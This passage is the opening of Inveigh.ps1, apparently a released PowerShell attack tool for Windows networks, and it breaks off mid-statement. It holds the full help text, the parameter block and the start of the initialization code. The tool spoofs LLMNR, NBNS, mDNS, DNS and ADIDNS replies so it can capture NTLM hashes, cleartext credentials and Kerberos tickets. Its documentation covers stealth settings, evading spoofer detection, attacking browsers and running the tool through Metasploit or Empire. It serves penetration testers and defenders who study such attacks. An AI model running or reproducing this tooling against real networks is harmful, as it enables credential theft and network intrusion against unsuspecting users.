Inveigh.ps1 (303194B)
1 function Invoke-Inveigh 2 { 3 <# 4 .SYNOPSIS 5 This function is a Windows PowerShell ADIDNS/LLMNR/NBNS/mDNS/DNS spoofer. 6 7 .DESCRIPTION 8 This function is a Windows PowerShell ADIDNS/LLMNR/NBNS/mDNS/DNS spoofer/man-in-the-middle tool with 9 challenge/response capture over HTTP/HTTPS/Proxy/SMB. 10 11 .PARAMETER ADIDNS 12 Default = None: (Combo/NS/Wildcard) List of ADIDNS spoofing attacks. Combo looks at LLMNR/NBNS requests and adds 13 a record to DNS if the same request is received from multiple systems. NS injects an NS record and if needed, a target record. 14 This is primarily for the GQBL bypass for wpad. This attack can be used with Inveigh's DNS spoofer. Wildcard injects a wildcard record. 15 16 .PARAMETER ADIDNSACE 17 Default = Enabled: Enable/Disable adding an 'Authenticated Users' full control ACE to any added records. 18 19 .PARAMETER ADIDNSCleanup 20 Default = Enabled: Enable/Disable removing added ADIDNS records upon shutdown. 21 22 .PARAMETER ADIDNSCredential 23 PSCredential object that will be used with ADIDNS spoofing. 24 25 .PARAMETER ADIDNSDomain 26 The targeted domain in DNS format. 27 28 .PARAMETER ADIDNSDomainController 29 Domain controller to target. This parameter is mandatory on a non-domain attached system. 30 31 .PARAMETER ADIDNSForest 32 The targeted forest in DNS format. 33 34 .PARAMETER ADIDNSHostsIgnore 35 Comma separated list of hosts that will be ignored with ADIDNS spoofing. 36 37 .PARAMETER ADIDNSNSTarget 38 Default = wpad2: Target for the NS attacks NS record. An existing record can be used. 39 40 .PARAMETER ADIDNSPartition 41 Default = DomainDNSZones: (DomainDNSZones,ForestDNSZones,System) The AD partition name where the zone is stored. 42 43 .PARAMETER ADIDNSThreshold 44 Default = 4: The threshold used to determine when ADIDNS records are injected for the combo attack. Inveigh will 45 track identical LLMNR and NBNS requests received from multiple systems. DNS records will be injected once the 46 system count for identical LLMNR and NBNS requests exceeds the threshold. 47 48 .PARAMETER ADIDNSTTL 49 Default = 600 Seconds: DNS TTL in seconds for added A records. 50 51 .PARAMETER ADIDNSZone 52 The ADIDNS zone. 53 54 .PARAMETER Challenge 55 Default = Random: 16 character hex NTLM challenge for use with the HTTP listener. If left blank, a random 56 challenge will be generated for each request. 57 58 .PARAMETER ConsoleOutput 59 Default = Disabled: (Low/Medium/Y/N) Enable/Disable real time console output. If using this option through a 60 shell, test to ensure that it doesn't hang the shell. Medium and Low can be used to reduce output. 61 62 .PARAMETER ConsoleQueueLimit 63 Default = Unlimited: Maximum number of queued up console log entries when not using the real time console. 64 65 .PARAMETER ConsoleStatus 66 (Integer) Interval in minutes for displaying all unique captured usernames, hashes, and credentials. This is useful for 67 displaying full capture lists when running through a shell that does not have access to the support functions. 68 69 .PARAMETER ConsoleUnique 70 Default = Enabled: (Y/N) Enable/Disable displaying challenge/response hashes for only unique IP, domain/hostname, 71 and username combinations when real time console output is enabled. 72 73 .PARAMETER DNS 74 Default = Enabled: (Y/N) Enable/Disable DNS spoofing. All detected requests will be answered with the SpooferIP. 75 This is primarily required for the ADIDNS NS wpad attack. 76 77 .PARAMETER DNSTTL 78 Default = 30 Seconds: DNS TTL in seconds for the response packet. 79 80 .PARAMETER Elevated 81 Default = Auto: (Auto/Y/N) Set the privilege mode. Auto will determine if Inveigh is running with 82 elevated privilege. If so, options that require elevated privilege can be used. 83 84 .PARAMETER EvadeRG 85 Defauly = Disabled: (Y/N) Enable/Disable detecting and ignoring LLMNR/NBNS requests sent directly to an IP address 86 rather than a broadcast/multicast address. This technique is used by ResponderGuard to discover spoofers across 87 subnets. 88 89 .PARAMETER FileOutput 90 Default = Disabled: (Y/N) Enable/Disable real time file output. 91 92 .PARAMETER FileOutputDirectory 93 Default = Working Directory: Valid path to an output directory for log and capture files. FileOutput must 94 also be enabled. 95 96 .PARAMETER FileUnique 97 Default = Enabled: (Y/N) Enable/Disable outputting challenge/response hashes for only unique IP, domain/hostname, 98 and username combinations when real time file output is enabled. 99 100 .PARAMETER HTTP 101 Default = Enabled: (Y/N) Enable/Disable HTTP challenge/response capture. 102 103 .PARAMETER HTTPIP 104 Default = Any: IP address for the HTTP/HTTPS listener. 105 106 .PARAMETER HTTPPort 107 Default = 80: TCP port for the HTTP listener. 108 109 .PARAMETER HTTPAuth 110 Default = NTLM: (Anonymous/Basic/NTLM/NTLMNoESS) HTTP/HTTPS listener authentication type. This setting does not 111 apply to wpad.dat requests. NTLMNoESS turns off the 'Extended Session Security' flag during negotiation. 112 113 .PARAMETER HTTPBasicRealm 114 Realm name for Basic authentication. This parameter applies to both HTTPAuth and WPADAuth. 115 116 .PARAMETER HTTPContentType 117 Default = text/html: Content type for HTTP/HTTPS/Proxy responses. Does not apply to EXEs and wpad.dat. Set to 118 "application/hta" for HTA files or when using HTA code with HTTPResponse. 119 120 .PARAMETER HTTPDirectory 121 Full directory path to enable hosting of basic content through the HTTP/HTTPS listener. 122 123 .PARAMETER HTTPDefaultFile 124 Filename within the HTTPDirectory to serve as the default HTTP/HTTPS/Proxy response file. This file will not be used for 125 wpad.dat requests. 126 127 .PARAMETER HTTPDefaultEXE 128 EXE filename within the HTTPDirectory to serve as the default HTTP/HTTPS/Proxy response for EXE requests. 129 130 .PARAMETER HTTPResponse 131 Content to serve as the default HTTP/HTTPS/Proxy response. This response will not be used for wpad.dat requests. 132 This parameter will not be used if HTTPDirectory is set. Use PowerShell character escapes and newlines where necessary. 133 134 .PARAMETER HTTPS 135 Default = Disabled: (Y/N) Enable/Disable HTTPS challenge/response capture. Warning, a cert will be installed in 136 the local store. If the script does not exit gracefully, manually remove the certificate. This feature requires 137 local administrator access. 138 139 .PARAMETER HTTPSPort 140 Default = 443: TCP port for the HTTPS listener. 141 142 .PARAMETER HTTPSCertIssuer 143 Default = Inveigh: The issuer field for the cert that will be installed for HTTPS. 144 145 .PARAMETER HTTPSCertSubject 146 Default = localhost: The subject field for the cert that will be installed for HTTPS. 147 148 .PARAMETER HTTPSForceCertDelete 149 Default = Disabled: (Y/N) Force deletion of an existing certificate that matches HTTPSCertIssuer and 150 HTTPSCertSubject. 151 152 .PARAMETER Inspect 153 (Switch) Inspect DNS/LLMNR/mDNS/NBNS traffic only. 154 155 .PARAMETER IP 156 Local IP address for listening and packet sniffing. This IP address will also be used for LLMNR/NBNS/mDNS/DNS spoofing 157 if the SpooferIP parameter is not set. 158 159 .PARAMETER Kerberos 160 Default = Disabled: (Y/N) Enable/Disable experimental Kerberos TGT capture and kirbi file output through unconstrained 161 delegation and packet sniffing. 162 163 .PARAMETER KerberosCount 164 Default = 2: The number of kirbi files that will be created per username. 165 166 .PARAMETER KerberosCredential 167 Credentials that will be used to decrypt Kerberos TGT captures. This is not required if using KerberosHash. The username 168 should be entered in Kerberos salt format: 169 AD username format = uppercase realm + case sensitive username (e.g., TEST.LOCALusername, TEST.LOCALAdministrator) 170 AD hostname format = uppercase realm + the word host + lowercase hostname without the trailing '$' + . + lowercase 171 realm (e.g., TEST.LOCALhostwks1.test.local) 172 173 .PARAMETER KerberosHash 174 AES256 password hash that will be used to decrypt Kerberos TGT captures. This is not required if using KerberosCredential. 175 176 .PARAMETER KerberosHostHeader 177 Comma separated list of hosts that the HTTP/HTTPS/Proxy listener will compare to host headers. If a match is found, the 178 listener will attempt to negotiate to Kerberos. 179 180 .PARAMETER LogOutput 181 Default = Enabled: (Y/N) Enable/Disable storing log messages in memory. 182 183 .PARAMETER LLMNR 184 Default = Enabled: (Y/N) Enable/Disable LLMNR spoofing. 185 186 .PARAMETER LLMNRTTL 187 Default = 30 Seconds: LLMNR TTL in seconds for the response packet. 188 189 .PARAMETER MachineAccounts 190 Default = Disabled: (Y/N) Enable/Disable showing NTLM challenge/response captures from machine accounts. 191 192 .PARAMETER mDNS 193 Default = Disabled: (Y/N) Enable/Disable mDNS spoofing. 194 195 .PARAMETER mDNSTTL 196 Default = 120 Seconds: mDNS TTL in seconds for the response packet. 197 198 .PARAMETER mDNSTypes 199 Default = QU: Comma separated list of mDNS types to spoof. Note that QM will send the response to 224.0.0.251. 200 Types include QU = Query Unicast, QM = Query Multicast 201 202 .PARAMETER NBNS 203 Default = Disabled: (Y/N) Enable/Disable NBNS spoofing. 204 205 .PARAMETER NBNSBruteForce 206 Default = Disabled: (Y/N) Enable/Disable NBNS brute force spoofer. 207 208 .PARAMETER NBNSBruteForceHost 209 Default = WPAD: Hostname for the NBNS Brute Force spoofer. 210 211 .PARAMETER NBNSBruteForcePause 212 Default = Disabled: (Integer) Number of seconds the NBNS brute force spoofer will stop spoofing after an incoming 213 HTTP request is received. 214 215 .PARAMETER NBNSBruteForceTarget 216 IP address to target for NBNS brute force spoofing. 217 218 .PARAMETER NBNSTTL 219 Default = 165 Seconds: NBNS TTL in seconds for the response packet. 220 221 .PARAMETER NBNSTypes 222 Default = 00,20: Comma separated list of NBNS types to spoof. Note, not all types have been tested. 223 Types include 00 = Workstation Service, 03 = Messenger Service, 20 = Server Service, 1B = Domain Name 224 225 .PARAMETER OutputStreamOnly 226 Default = Disabled: (Y/N) Enable/Disable forcing all output to the standard output stream. This can be helpful if 227 running Inveigh through a shell that does not return other output streams. Note that you will not see the various 228 yellow warning messages if enabled. 229 230 .PARAMETER Pcap 231 Default = Disabled: (File/Memory) Enable/Disable dumping packets to a pcap file or memory. This option requires 232 elevated privilege. If using 'Memory', the packets will be written to the $inveigh.pcap ArrayList. 233 234 .PARAMETER PcapTCP 235 Default = 139,445: Comma separated list of TCP ports to filter which packets will be written to the pcap file. 236 Use 'All' to capture on all ports. 237 238 .PARAMETER PcapUDP 239 Default = Disabled: Comma separated list of UDP ports to filter which packets will be written to the pcap file. 240 Use 'All' to capture on all ports. 241 242 .PARAMETER Proxy 243 Default = Disabled: (Y/N) Enable/Disable proxy listener authentication captures. 244 245 .PARAMETER ProxyAuth 246 Default = NTLM: (Basic/NTLM/NTLMNoESS) Proxy listener authentication type. 247 248 .PARAMETER ProxyIP 249 Default = Any: IP address for the proxy listener. 250 251 .PARAMETER ProxyPort 252 Default = 8492: TCP port for the proxy listener. 253 254 .PARAMETER ProxyIgnore 255 Default = Firefox: Comma separated list of keywords to use for filtering browser user agents. Matching browsers 256 will not be sent the wpad.dat file used for capturing proxy authentications. Firefox does not work correctly 257 with the proxy server failover setup. Firefox will be left unable to connect to any sites until the proxy is 258 cleared. Remove 'Firefox' from this list to attack Firefox. If attacking Firefox, consider setting 259 -SpooferRepeat N to limit attacks against a single target so that victims can recover Firefox connectivity by 260 closing and reopening. 261 262 .PARAMETER RunCount 263 Default = Unlimited: (Integer) Number of NTLMv1/NTLMv2/cleartext captures to perform before auto-exiting. 264 265 .PARAMETER RunTime 266 (Integer) Run time duration in minutes. 267 268 .PARAMETER ShowHelp 269 Default = Enabled: (Y/N) Enable/Disable the help messages at startup. 270 271 .PARAMETER SMB 272 Default = Enabled: (Y/N) Enable/Disable SMB challenge/response capture. Warning, LLMNR/NBNS spoofing can still 273 direct targets to the host system's SMB server. Block TCP ports 445/139 or kill the SMB services if you need to 274 prevent login requests from being processed by the Inveigh host. 275 276 .PARAMETER SpooferHostsIgnore 277 Comma separated list of requested hostnames to ignore when spoofing with LLMNR/mDNS/NBNS. 278 279 .PARAMETER SpooferHostsReply 280 Comma separated list of requested hostnames to respond to when spoofing with LLMNR/mDNS/NBNS. 281 282 .PARAMETER SpooferIP 283 IP address for ADIDNS/LLMNR/mDNS/NBNS spoofing. This parameter is only necessary when redirecting victims to a system 284 other than the Inveigh host. 285 286 .PARAMETER SpooferIPsIgnore 287 Comma separated list of source IP addresses to ignore when spoofing with LLMNR/mDNS/NBNS. 288 289 .PARAMETER SpooferIPsReply 290 Comma separated list of source IP addresses to respond to when spoofing with LLMNR/mDNS/NBNS. 291 292 .PARAMETER SpooferLearning 293 Default = Disabled: (Y/N) Enable/Disable LLMNR/NBNS valid host learning. If enabled, Inveigh will send out 294 LLMNR/NBNS requests for any received LLMNR/NBNS requests. If a response is received, Inveigh will add the 295 hostname to a spoofing blacklist. 296 297 .PARAMETER SpooferLearningDelay 298 (Integer) Time in minutes that Inveigh will delay spoofing while valid hosts are being blacklisted through 299 SpooferLearning. 300 301 .PARAMETER SpooferLearningInterval 302 Default = 30 Minutes: (Integer) Time in minutes that Inveigh wait before sending out an LLMNR/NBNS request for a 303 hostname that has already been checked if SpooferLearning is enabled. 304 305 .PARAMETER SpooferNonprintable 306 Default = Enabled: (Y/N) Enable/Disable answering LLMNR/NBNS requests for non-printable host names. 307 308 .PARAMETER SpooferRepeat 309 Default = Enabled: (Y/N) Enable/Disable repeated LLMNR/NBNS spoofs to a victim system after one user 310 challenge/response has been captured. 311 312 .PARAMETER SpooferThresholdHost 313 (Integer) Number of matching LLMNR/NBNS name requests to receive before Inveigh will begin responding to those 314 requests. 315 316 .PARAMETER SpooferThresholdNetwork 317 (Integer) Number of matching LLMNR/NBNS requests to receive from different systems before Inveigh will begin 318 responding to those requests. 319 320 .PARAMETER StartupChecks 321 Default = Disabled: (Y/N) Enable/Disable checks for in use ports and running services on startup. 322 323 .PARAMETER StatusOutput 324 Default = Enabled: (Y/N) Enable/Disable startup and shutdown messages. 325 326 .PARAMETER Tool 327 Default = 0: (0/1/2) Enable/Disable features for better operation through external tools such as Meterpreter's 328 PowerShell extension, Metasploit's Interactive PowerShell Sessions payloads and Empire. 329 0 = None, 1 = Metasploit/Meterpreter, 2 = Empire 330 331 .PARAMETER WPADAuth 332 Default = NTLM: (Anonymous/Basic/NTLM/NTLMNoESS) HTTP/HTTPS listener authentication type for wpad.dat requests. 333 Setting to Anonymous can prevent browser login prompts. NTLMNoESS turns off the 'Extended Session Security' flag 334 during negotiation. 335 336 .PARAMETER WPADAuthIgnore 337 Default = Firefox: Comma separated list of keywords to use for filtering browser user agents. Matching browsers 338 will be skipped for NTLM authentication. This can be used to filter out browsers that display login 339 popups for authenticated wpad.dat requests such as Firefox. 340 341 .PARAMETER WPADDirectHosts 342 Comma separated list of hosts to list as direct in the wpad.dat file. Listed hosts will not be routed through the 343 defined proxy. 344 345 .PARAMETER WPADIP 346 Proxy server IP to be included in the wpad.dat response for WPAD enabled browsers. This parameter must be used 347 with WPADPort. 348 349 .PARAMETER WPADPort 350 Proxy server port to be included in the wpad.dat response for WPAD enabled browsers. This parameter must be 351 used with WPADIP. 352 353 .PARAMETER WPADResponse 354 Default = all direct: wpad.dat file contents to serve as the wpad.dat response. This parameter will not be used if WPADIP and WPADPort 355 are set. Use PowerShell character escapes where necessary. 356 357 .EXAMPLE 358 Import-Module .\Inveigh.psd1;Invoke-Inveigh 359 Import full module and execute with all default settings. 360 361 .EXAMPLE 362 . ./Inveigh.ps1;Invoke-Inveigh -IP 192.168.1.10 363 Dot source load and execute specifying a specific local listening/spoofing IP. 364 365 .EXAMPLE 366 Invoke-Inveigh -IP 192.168.1.10 -HTTP N 367 Execute specifying a specific local listening/spoofing IP and disabling HTTP challenge/response. 368 369 .EXAMPLE 370 Invoke-Inveigh -SpooferRepeat N -WPADAuth Anonymous -SpooferHostsReply host1,host2 -SpooferIPsReply 192.168.2.75,192.168.2.76 371 Execute with the stealthiest options. 372 373 .EXAMPLE 374 Invoke-Inveigh -Inspect 375 Execute in order to only inspect LLMNR/mDNS/NBNS traffic. 376 377 .EXAMPLE 378 Invoke-Inveigh -IP 192.168.1.10 -SpooferIP 192.168.2.50 -HTTP N 379 Execute specifying a specific local listening IP and a LLMNR/NBNS spoofing IP on another subnet. This may be 380 useful for sending traffic to a controlled Linux system on another subnet. 381 382 .EXAMPLE 383 Invoke-Inveigh -HTTPResponse "<html><head><meta http-equiv='refresh' content='0; url=https://duckduckgo.com/'></head></html>" 384 Execute specifying an HTTP redirect response. 385 386 .LINK 387 https://github.com/Kevin-Robertson/Inveigh 388 #> 389 390 #region begin parameters 391 392 # Parameter default values can be modified in this section: 393 [CmdletBinding()] 394 param 395 ( 396 [parameter(Mandatory=$false)][Array]$ADIDNSHostsIgnore = ("isatap","wpad"), 397 [parameter(Mandatory=$false)][Array]$KerberosHostHeader = "", 398 [parameter(Mandatory=$false)][Array]$ProxyIgnore = "Firefox", 399 [parameter(Mandatory=$false)][Array]$PcapTCP = ("139","445"), 400 [parameter(Mandatory=$false)][Array]$PcapUDP = "", 401 [parameter(Mandatory=$false)][Array]$SpooferHostsReply = "", 402 [parameter(Mandatory=$false)][Array]$SpooferHostsIgnore = "", 403 [parameter(Mandatory=$false)][Array]$SpooferIPsReply = "", 404 [parameter(Mandatory=$false)][Array]$SpooferIPsIgnore = "", 405 [parameter(Mandatory=$false)][Array]$WPADDirectHosts = "", 406 [parameter(Mandatory=$false)][Array]$WPADAuthIgnore = "Firefox", 407 [parameter(Mandatory=$false)][Int]$ConsoleQueueLimit = "-1", 408 [parameter(Mandatory=$false)][Int]$ConsoleStatus = "", 409 [parameter(Mandatory=$false)][Int]$ADIDNSThreshold = "4", 410 [parameter(Mandatory=$false)][Int]$ADIDNSTTL = "600", 411 [parameter(Mandatory=$false)][Int]$DNSTTL = "30", 412 [parameter(Mandatory=$false)][Int]$HTTPPort = "80", 413 [parameter(Mandatory=$false)][Int]$HTTPSPort = "443", 414 [parameter(Mandatory=$false)][Int]$KerberosCount = "2", 415 [parameter(Mandatory=$false)][Int]$LLMNRTTL = "30", 416 [parameter(Mandatory=$false)][Int]$mDNSTTL = "120", 417 [parameter(Mandatory=$false)][Int]$NBNSTTL = "165", 418 [parameter(Mandatory=$false)][Int]$NBNSBruteForcePause = "", 419 [parameter(Mandatory=$false)][Int]$ProxyPort = "8492", 420 [parameter(Mandatory=$false)][Int]$RunCount = "", 421 [parameter(Mandatory=$false)][Int]$RunTime = "", 422 [parameter(Mandatory=$false)][Int]$WPADPort = "", 423 [parameter(Mandatory=$false)][Int]$SpooferLearningDelay = "", 424 [parameter(Mandatory=$false)][Int]$SpooferLearningInterval = "30", 425 [parameter(Mandatory=$false)][Int]$SpooferThresholdHost = "0", 426 [parameter(Mandatory=$false)][Int]$SpooferThresholdNetwork = "0", 427 [parameter(Mandatory=$false)][String]$ADIDNSDomain = "", 428 [parameter(Mandatory=$false)][String]$ADIDNSDomainController = "", 429 [parameter(Mandatory=$false)][String]$ADIDNSForest = "", 430 [parameter(Mandatory=$false)][String]$ADIDNSNS = "wpad", 431 [parameter(Mandatory=$false)][String]$ADIDNSNSTarget = "wpad2", 432 [parameter(Mandatory=$false)][String]$ADIDNSZone = "", 433 [parameter(Mandatory=$false)][String]$HTTPBasicRealm = "ADFS", 434 [parameter(Mandatory=$false)][String]$HTTPContentType = "text/html", 435 [parameter(Mandatory=$false)][String]$HTTPDefaultFile = "", 436 [parameter(Mandatory=$false)][String]$HTTPDefaultEXE = "", 437 [parameter(Mandatory=$false)][String]$HTTPResponse = "", 438 [parameter(Mandatory=$false)][String]$HTTPSCertIssuer = "Inveigh", 439 [parameter(Mandatory=$false)][String]$HTTPSCertSubject = "localhost", 440 [parameter(Mandatory=$false)][String]$NBNSBruteForceHost = "WPAD", 441 [parameter(Mandatory=$false)][String]$WPADResponse = "function FindProxyForURL(url,host){return `"DIRECT`";}", 442 [parameter(Mandatory=$false)][ValidatePattern('^[A-Fa-f0-9]{16}$')][String]$Challenge = "", 443 [parameter(Mandatory=$false)][ValidateSet("Y","N")][String]$ConsoleUnique = "Y", 444 [parameter(Mandatory=$false)][ValidateSet("Combo","NS","Wildcard")][Array]$ADIDNS, 445 [parameter(Mandatory=$false)][ValidateSet("DomainDNSZones","ForestDNSZones","System")][String]$ADIDNSPartition = "DomainDNSZones", 446 [parameter(Mandatory=$false)][ValidateSet("Y","N")][String]$ADIDNSACE = "Y", 447 [parameter(Mandatory=$false)][ValidateSet("Y","N")][String]$ADIDNSCleanup = "Y", 448 [parameter(Mandatory=$false)][ValidateSet("Y","N")][String]$DNS = "Y", 449 [parameter(Mandatory=$false)][ValidateSet("Y","N")][String]$EvadeRG = "Y", 450 [parameter(Mandatory=$false)][ValidateSet("Y","N")][String]$FileOutput = "N", 451 [parameter(Mandatory=$false)][ValidateSet("Y","N")][String]$FileUnique = "Y", 452 [parameter(Mandatory=$false)][ValidateSet("Y","N")][String]$HTTP = "Y", 453 [parameter(Mandatory=$false)][ValidateSet("Y","N")][String]$HTTPS = "N", 454 [parameter(Mandatory=$false)][ValidateSet("Y","N")][String]$HTTPSForceCertDelete = "N", 455 [parameter(Mandatory=$false)][ValidateSet("Y","N")][String]$Kerberos = "N", 456 [parameter(Mandatory=$false)][ValidateSet("Y","N")][String]$LLMNR = "Y", 457 [parameter(Mandatory=$false)][ValidateSet("Y","N")][String]$LogOutput = "Y", 458 [parameter(Mandatory=$false)][ValidateSet("Y","N")][String]$MachineAccounts = "N", 459 [parameter(Mandatory=$false)][ValidateSet("Y","N")][String]$mDNS = "N", 460 [parameter(Mandatory=$false)][ValidateSet("Y","N")][String]$NBNS = "N", 461 [parameter(Mandatory=$false)][ValidateSet("Y","N")][String]$NBNSBruteForce = "N", 462 [parameter(Mandatory=$false)][ValidateSet("Y","N")][String]$OutputStreamOnly = "N", 463 [parameter(Mandatory=$false)][ValidateSet("Y","N")][String]$Proxy = "N", 464 [parameter(Mandatory=$false)][ValidateSet("Y","N")][String]$ShowHelp = "Y", 465 [parameter(Mandatory=$false)][ValidateSet("Y","N")][String]$SMB = "Y", 466 [parameter(Mandatory=$false)][ValidateSet("Y","N")][String]$SpooferLearning = "N", 467 [parameter(Mandatory=$false)][ValidateSet("Y","N")][String]$SpooferNonprintable = "Y", 468 [parameter(Mandatory=$false)][ValidateSet("Y","N")][String]$SpooferRepeat = "Y", 469 [parameter(Mandatory=$false)][ValidateSet("Y","N")][String]$StatusOutput = "Y", 470 [parameter(Mandatory=$false)][ValidateSet("Y","N")][String]$StartupChecks = "N", 471 [parameter(Mandatory=$false)][ValidateSet("Y","N","Low","Medium")][String]$ConsoleOutput = "N", 472 [parameter(Mandatory=$false)][ValidateSet("Auto","Y","N")][String]$Elevated = "Auto", 473 [parameter(Mandatory=$false)][ValidateSet("Anonymous","Basic","NTLM","NTLMNoESS")][String]$HTTPAuth = "NTLM", 474 [parameter(Mandatory=$false)][ValidateSet("QU","QM")][Array]$mDNSTypes = @("QU"), 475 [parameter(Mandatory=$false)][ValidateSet("00","03","20","1B","1C","1D","1E")][Array]$NBNSTypes = @("00","20"), 476 [parameter(Mandatory=$false)][ValidateSet("File","Memory")][String]$Pcap = "", 477 [parameter(Mandatory=$false)][ValidateSet("Basic","NTLM","NTLMNoESS")][String]$ProxyAuth = "NTLM", 478 [parameter(Mandatory=$false)][ValidateSet("0","1","2")][String]$Tool = "0", 479 [parameter(Mandatory=$false)][ValidateSet("Anonymous","Basic","NTLM","NTLMNoESS")][String]$WPADAuth = "NTLM", 480 [parameter(Mandatory=$false)][ValidateScript({$_.Length -eq 64})][String]$KerberosHash, 481 [parameter(Mandatory=$false)][ValidateScript({Test-Path $_})][String]$FileOutputDirectory = "", 482 [parameter(Mandatory=$false)][ValidateScript({Test-Path $_})][String]$HTTPDirectory = "", 483 [parameter(Mandatory=$false)][ValidateScript({$_ -match [System.Net.IPAddress]$_})][String]$HTTPIP = "0.0.0.0", 484 [parameter(Mandatory=$false)][ValidateScript({$_ -match [System.Net.IPAddress]$_})][String]$IP = "", 485 [parameter(Mandatory=$false)][ValidateScript({$_ -match [System.Net.IPAddress]$_})][String]$NBNSBruteForceTarget = "", 486 [parameter(Mandatory=$false)][ValidateScript({$_ -match [System.Net.IPAddress]$_})][String]$ProxyIP = "0.0.0.0", 487 [parameter(Mandatory=$false)][ValidateScript({$_ -match [System.Net.IPAddress]$_})][String]$SpooferIP = "", 488 [parameter(Mandatory=$false)][ValidateScript({$_ -match [System.Net.IPAddress]$_})][String]$WPADIP = "", 489 [parameter(Mandatory=$false)][System.Management.Automation.PSCredential]$ADIDNSCredential, 490 [parameter(Mandatory=$false)][System.Management.Automation.PSCredential]$KerberosCredential, 491 [parameter(Mandatory=$false)][Switch]$Inspect, 492 [parameter(ValueFromRemainingArguments=$true)]$invalid_parameter 493 ) 494 495 #endregion 496 #region begin initialization 497 if($invalid_parameter) 498 { 499 Write-Output "[-] $($invalid_parameter) is not a valid parameter" 500 throw 501 } 502 503 $inveigh_version = "1.506" 504 505 if(!$IP) 506 { 507 508 try 509 { 510 $IP = (Test-Connection 127.0.0.1 -count 1 | Select-Object -ExpandProperty Ipv4Address) 511 } 512 catch 513 { 514 Write-Output "[-] Error finding local IP, specify manually with -IP" 515 throw 516 } 517 518 } 519 520 if(!$SpooferIP) 521 { 522 $SpooferIP = $IP 523 } 524 525 if($ADIDNS) 526 { 527 528 if(!$ADIDNSDomainController -or !$ADIDNSDomain -or $ADIDNSForest -or !$ADIDNSZone) 529 { 530 531 try 532 { 533 $current_domain = [System.DirectoryServices.ActiveDirectory.Domain]::GetCurrentDomain() 534 } 535 catch 536 { 537 Write-Output "[-] $($_.Exception.Message)" 538 throw 539 } 540 541 if(!$ADIDNSDomainController) 542 { 543 $ADIDNSDomainController = $current_domain.PdcRoleOwner.Name 544 } 545 546 if(!$ADIDNSDomain) 547 { 548 $ADIDNSDomain = $current_domain.Name 549 } 550 551 if(!$ADIDNSForest) 552 { 553 $ADIDNSForest = $current_domain.Forest 554 } 555 556 if(!$ADIDNSZone) 557 { 558 $ADIDNSZone = $current_domain.Name 559 } 560 561 } 562 563 } 564 565 if($HTTPDefaultFile -or $HTTPDefaultEXE) 566 { 567 568 if(!$HTTPDirectory) 569 { 570 Write-Output "[-] You must specify an -HTTPDir when using either -HTTPDefaultFile or -HTTPDefaultEXE" 571 throw 572 } 573 574 } 575 576 if($Kerberos -eq 'Y' -and !$KerberosCredential -and !$KerberosHash) 577 { 578 Write-Output "[-] You must specify a -KerberosCredential or -KerberosHash when enabling Kerberos capture" 579 throw 580 } 581 582 if($WPADIP -or $WPADPort) 583 { 584 585 if(!$WPADIP) 586 { 587 Write-Output "[-] You must specify a -WPADPort to go with -WPADIP" 588 throw 589 } 590 591 if(!$WPADPort) 592 { 593 Write-Output "[-] You must specify a -WPADIP to go with -WPADPort" 594 throw 595 } 596 597 } 598 599 if($NBNSBruteForce -eq 'Y' -and !$NBNSBruteForceTarget) 600 { 601 Write-Output "[-] You must specify a -NBNSBruteForceTarget if enabling -NBNSBruteForce" 602 throw 603 } 604 605 if(!$FileOutputDirectory) 606 { 607 $output_directory = $PWD.Path 608 } 609 else 610 { 611 $output_directory = $FileOutputDirectory 612 } 613 614 if(!$inveigh) 615 { 616 $global:inveigh = [HashTable]::Synchronized(@{}) 617 $inveigh.cleartext_list = New-Object System.Collections.ArrayList 618 $inveigh.enumerate = New-Object System.Collections.ArrayList 619 $inveigh.IP_capture_list = New-Object System.Collections.ArrayList 620 $inveigh.log = New-Object System.Collections.ArrayList 621 $inveigh.kerberos_TGT_list = New-Object System.Collections.ArrayList 622 $inveigh.kerberos_TGT_username_list = New-Object System.Collections.ArrayList 623 $inveigh.NTLMv1_list = New-Object System.Collections.ArrayList 624 $inveigh.NTLMv1_username_list = New-Object System.Collections.ArrayList 625 $inveigh.NTLMv2_list = New-Object System.Collections.ArrayList 626 $inveigh.NTLMv2_username_list = New-Object System.Collections.ArrayList 627 $inveigh.POST_request_list = New-Object System.Collections.ArrayList 628 $inveigh.valid_host_list = New-Object System.Collections.ArrayList 629 $inveigh.ADIDNS_table = [HashTable]::Synchronized(@{}) 630 $inveigh.relay_privilege_table = [HashTable]::Synchronized(@{}) 631 $inveigh.relay_failed_login_table = [HashTable]::Synchronized(@{}) 632 $inveigh.relay_history_table = [HashTable]::Synchronized(@{}) 633 $inveigh.request_table = [HashTable]::Synchronized(@{}) 634 $inveigh.session_socket_table = [HashTable]::Synchronized(@{}) 635 $inveigh.session_table = [HashTable]::Synchronized(@{}) 636 $inveigh.session_message_ID_table = [HashTable]::Synchronized(@{}) 637 $inveigh.session_lock_table = [HashTable]::Synchronized(@{}) 638 $inveigh.SMB_session_table = [HashTable]::Synchronized(@{}) 639 $inveigh.domain_mapping_table = [HashTable]::Synchronized(@{}) 640 $inveigh.group_table = [HashTable]::Synchronized(@{}) 641 $inveigh.session_count = 0 642 $inveigh.session = @() 643 } 644 645 if($inveigh.running) 646 { 647 Write-Output "[-] Inveigh is already running" 648 throw 649 } 650 651 $inveigh.stop = $false 652 653 if(!$inveigh.relay_running) 654 { 655 $inveigh.cleartext_file_queue = New-Object System.Collections.ArrayList 656 $inveigh.console_queue = New-Object System.Collections.ArrayList 657 $inveigh.HTTP_challenge_queue = New-Object System.Collections.ArrayList 658 $inveigh.log_file_queue = New-Object System.Collections.ArrayList 659 $inveigh.NTLMv1_file_queue = New-Object System.Collections.ArrayList 660 $inveigh.NTLMv2_file_queue = New-Object System.Collections.ArrayList 661 $inveigh.output_queue = New-Object System.Collections.ArrayList 662 $inveigh.POST_request_file_queue = New-Object System.Collections.ArrayList 663 $inveigh.HTTP_session_table = [HashTable]::Synchronized(@{}) 664 $inveigh.console_input = $true 665 $inveigh.console_output = $false 666 $inveigh.file_output = $false 667 $inveigh.HTTPS_existing_certificate = $false 668 $inveigh.HTTPS_force_certificate_delete = $false 669 $inveigh.log_output = $true 670 $inveigh.cleartext_out_file = $output_directory + "\Inveigh-Cleartext.txt" 671 $inveigh.log_out_file = $output_directory + "\Inveigh-Log.txt" 672 $inveigh.NTLMv1_out_file = $output_directory + "\Inveigh-NTLMv1.txt" 673 $inveigh.NTLMv2_out_file = $output_directory + "\Inveigh-NTLMv2.txt" 674 $inveigh.POST_request_out_file = $output_directory + "\Inveigh-FormInput.txt" 675 } 676 677 if($Elevated -eq 'Auto') 678 { 679 $elevated_privilege = [Bool](([System.Security.Principal.WindowsIdentity]::GetCurrent()).groups -match "S-1-5-32-544") 680 } 681 else 682 { 683 684 if($Elevated -eq 